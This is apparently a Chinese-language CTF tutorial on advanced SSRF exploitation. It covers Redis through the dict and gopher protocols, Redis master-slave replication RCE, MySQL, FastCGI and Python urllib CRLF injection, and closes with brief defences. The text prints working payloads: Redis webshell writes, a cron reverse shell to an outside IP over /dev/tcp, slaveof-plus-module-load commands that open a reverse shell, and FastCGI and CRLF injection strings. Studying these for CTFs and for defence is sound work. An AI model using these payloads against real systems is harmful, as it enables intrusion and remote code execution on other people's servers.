SSRF在CTF中的高级利用技术
1. SSRF基础与Redis利用
1.1 SSRF简介
SSRF(Server-Side Request Forgery)是一种攻击者能够从服务器端发起任意请求的安全漏洞。在CTF比赛中,SSRF常被用于攻击内网服务,特别是Redis、MySQL等数据库服务。
1.2 Redis未授权访问利用
Redis未授权访问是SSRF攻击的常见目标,主要利用方式包括:
- 反弹shell
- webshell写入
- SSH key上传
1.3 使用dict协议攻击Redis
dict协议可以用于与Redis服务交互,典型攻击流程:
-
信息收集:
dict://127.0.0.1:6379/info -
写入webshell:
flushall config set dir /var/www/html config set dbfilename shell.php set webshell "<?php phpinfo();?>" save -
十六进制编码绕过特殊字符过滤:
当直接使用?等特殊字符被过滤时,可使用十六进制编码:dict://127.0.0.1:6379/set:webshell:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e" -
写入定时任务反弹shell:
set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'十六进制编码版本:
dict://127.0.0.1:6379/set:webshell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
1.4 端口探测
dict协议也可用于端口存活探测:
dict://127.0.0.1:6379/
2. Gopher协议高级利用
2.1 Gopher协议基础
Gopher协议比dict协议更强大,可以构造任意TCP流量。
2.2 攻击Redis流程
-
抓取正常Redis流量:
tcpdump -i lo port 6379 -w redis.pcap -
提取并编码流量:
将抓取的十六进制流量转换为URL编码格式,如:%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a -
Web环境下双编码:
在Web环境中需要对payload进行双重URL编码。
2.3 主从复制攻击
当直接写入webshell受限时,可使用Redis主从复制:
-
设置主从关系:
slaveof <attacker_ip> <attacker_port> -
主机执行命令:
config set dir /var/www/html config set dbfilename shell.php set webshell "<?php phpinfo();?>" save -
抓取流量并编码:
将主从复制过程中的TCP流量抓取并编码为Gopher payload。
2.4 主从复制RCE
在Redis 4.x/5.x中可实现RCE:
-
设置备份路径和文件名:
config set dir ./ config set dbfilename exp.so -
设置主服务器:
slaveof <attacker_ip> <attacker_port> -
加载恶意模块:
module load ./exp.so -
执行命令:
system.exec 'whoami'; system.rev <attacker_ip> <attacker_port>
3. MySQL攻击技术
3.1 无密码认证攻击
当MySQL无密码或使用--skip-grant-tables时:
-
抓取登录流量:
tcpdump -i lo -s 0 port 3306 -w mysql.pcap -
关键点:
- 登录流量中的
00 00 00 03 - 认证成功标志
01 00 00 00 01
- 登录流量中的
-
写入webshell:
select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php';
3.2 工具辅助
可使用工具快速生成MySQL攻击payload:
- Gopherus
- SSRFmap
4. FastCGI攻击技术
4.1 攻击原理
利用PHP-FPM的php://input和.htaccess/user.ini的auto_prepend_file/auto_append_file实现代码执行。
4.2 攻击条件
- PHP-FPM版本 >= 5.3.3
- 知道服务器上一个PHP文件的绝对路径
4.3 攻击步骤
-
构造payload:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '', 'REQUEST_URI': '/index.php', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': 'localhost', 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': '48', 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } -
利用工具:
- Gopherus
- P神的exp
5. Python urllib头注入SSRF
5.1 漏洞版本
- Python 2.7.10之前
- Python 3.4.4之前
- CVE-2019-9740 (Python 3.7.x和2.7.16之前)
- CVE-2019-9947
5.2 注入方式
-
IP地址和端口号分隔符处注入:
http://192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a -
端口号后面注入:
http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
5.3 实战利用
url=http://foo@127.0.0.1:6379%20@www.sina.com/
或更复杂的CRLF注入:
url=http://foo@127.0.0.1:5000%20@www.sina.com/%3Furl=https://baidu.com
6. 防御措施
-
输入验证:
- 严格校验URL协议、端口和主机名
- 使用白名单限制可访问的域名和IP
-
服务加固:
- Redis设置密码认证
- MySQL避免使用
--skip-grant-tables - 限制PHP-FPM的执行权限
-
网络隔离:
- 将敏感服务置于内网
- 设置防火墙规则限制出站连接
-
软件更新:
- 及时更新Python等存在SSRF相关漏洞的软件
通过掌握这些SSRF高级利用技术,可以在CTF比赛中有效攻击内网服务,同时也能更好地理解如何防御此类攻击。